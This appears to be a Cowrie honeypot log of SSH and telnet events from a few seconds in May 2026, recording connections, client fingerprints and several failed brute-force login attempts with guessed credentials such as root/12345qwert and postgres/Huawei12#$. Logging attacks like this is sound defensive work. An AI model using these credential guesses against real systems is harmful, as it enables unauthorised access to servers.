{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:59:49.166479Z","src_ip":"176.65.132.129","session":"1b5acc983d33","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:59:49.248482Z","src_ip":"176.65.132.129","session":"1b5acc983d33","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rajvir","password":"rajvir123","message":"login attempt [rajvir/rajvir123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:59:49.493052Z","src_ip":"176.65.132.129","session":"1b5acc983d33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:59:50.577869Z","src_ip":"176.65.132.129","session":"1b5acc983d33","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"199.195.254.215","src_port":41016,"dst_ip":"10.17.0.5","dst_port":22,"session":"a53a5e35c720","protocol":"ssh","message":"New connection: 199.195.254.215:41016 (10.17.0.5:22) [session: a53a5e35c720]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:59:51.662883Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:59:51.666605Z","src_ip":"199.195.254.215","session":"a53a5e35c720","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":54920,"dst_ip":"10.17.0.5","dst_port":23,"session":"d43625d921c3","protocol":"telnet","message":"New connection: 38.54.119.93:54920 (10.17.0.5:23) [session: d43625d921c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:59:51.795068Z"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:59:52.100106Z","src_ip":"199.195.254.215","session":"a53a5e35c720","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":53484,"dst_ip":"10.17.0.5","dst_port":22,"session":"a958cdf899e6","protocol":"ssh","message":"New connection: 176.65.132.129:53484 (10.17.0.5:22) [session: a958cdf899e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:59:52.471370Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:59:52.474578Z","src_ip":"176.65.132.129","session":"a958cdf899e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:59:52.555847Z","src_ip":"176.65.132.129","session":"a958cdf899e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ec2-user","password":"123456","message":"login attempt [ec2-user/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:59:52.798917Z","src_ip":"176.65.132.129","session":"a958cdf899e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:59:53.883461Z","src_ip":"176.65.132.129","session":"a958cdf899e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"Huawei12#$","message":"login attempt [postgres/Huawei12#$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:59:54.197195Z","src_ip":"199.195.254.215","session":"a53a5e35c720","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":17.037970542907715,"message":"Connection lost after 17 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:59:54.853667Z","src_ip":"64.227.82.147","session":"ab404a929395","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":49990,"dst_ip":"10.17.0.5","dst_port":23,"session":"6bc13f64b247","protocol":"telnet","message":"New connection: 45.81.23.16:49990 (10.17.0.5:23) [session: 6bc13f64b247]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:59:55.609536Z"}
{"eventid":"cowrie.session.closed","duration":"4.1","message":"Connection lost after 4.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:59:55.796210Z","src_ip":"199.195.254.215","session":"a53a5e35c720","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":50000,"dst_ip":"10.17.0.5","dst_port":23,"session":"2f43387c77f2","protocol":"telnet","message":"New connection: 45.81.23.16:50000 (10.17.0.5:23) [session: 2f43387c77f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:59:55.810658Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":39632,"dst_ip":"10.17.0.5","dst_port":22,"session":"913315bbc504","protocol":"ssh","message":"New connection: 176.65.132.129:39632 (10.17.0.5:22) [session: 913315bbc504]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:59:55.953452Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:59:55.958408Z","src_ip":"176.65.132.129","session":"913315bbc504","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:59:56.039568Z","src_ip":"176.65.132.129","session":"913315bbc504","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":49980,"dst_ip":"10.17.0.5","dst_port":23,"session":"a709e401b408","protocol":"telnet","message":"New connection: 45.81.23.16:49980 (10.17.0.5:23) [session: a709e401b408]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:59:56.242605Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345qwert","message":"login attempt [root/12345qwert] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:59:56.284178Z","src_ip":"176.65.132.129","session":"913315bbc504","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":50008,"dst_ip":"10.17.0.5","dst_port":23,"session":"5f6731c9f980","protocol":"telnet","message":"New connection: 45.81.23.16:50008 (10.17.0.5:23) [session: 5f6731c9f980]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:59:56.787572Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.82.147","src_port":59920,"dst_ip":"159.203.135.109","dst_port":23,"session":"8a4591af2840","protocol":"telnet","message":"New connection: 64.227.82.147:59920 (159.203.135.109:23) [session: 8a4591af2840]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:59:56.964645Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:59:57.369126Z","src_ip":"176.65.132.129","session":"913315bbc504","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":7.296848773956299,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:59:59.091826Z","src_ip":"38.54.119.93","session":"d43625d921c3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":39662,"dst_ip":"10.17.0.5","dst_port":22,"session":"ca59f3f10473","protocol":"ssh","message":"New connection: 176.65.132.129:39662 (10.17.0.5:22) [session: ca59f3f10473]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:59:59.209337Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:59:59.213895Z","src_ip":"176.65.132.129","session":"ca59f3f10473","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":3.0163280963897705,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:59:59.258833Z","src_ip":"45.81.23.16","session":"a709e401b408","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:59:59.295513Z","src_ip":"176.65.132.129","session":"ca59f3f10473","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nexus","password":"123","message":"login attempt [nexus/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:59:59.537450Z","src_ip":"176.65.132.129","session":"ca59f3f10473","protocol":"ssh"}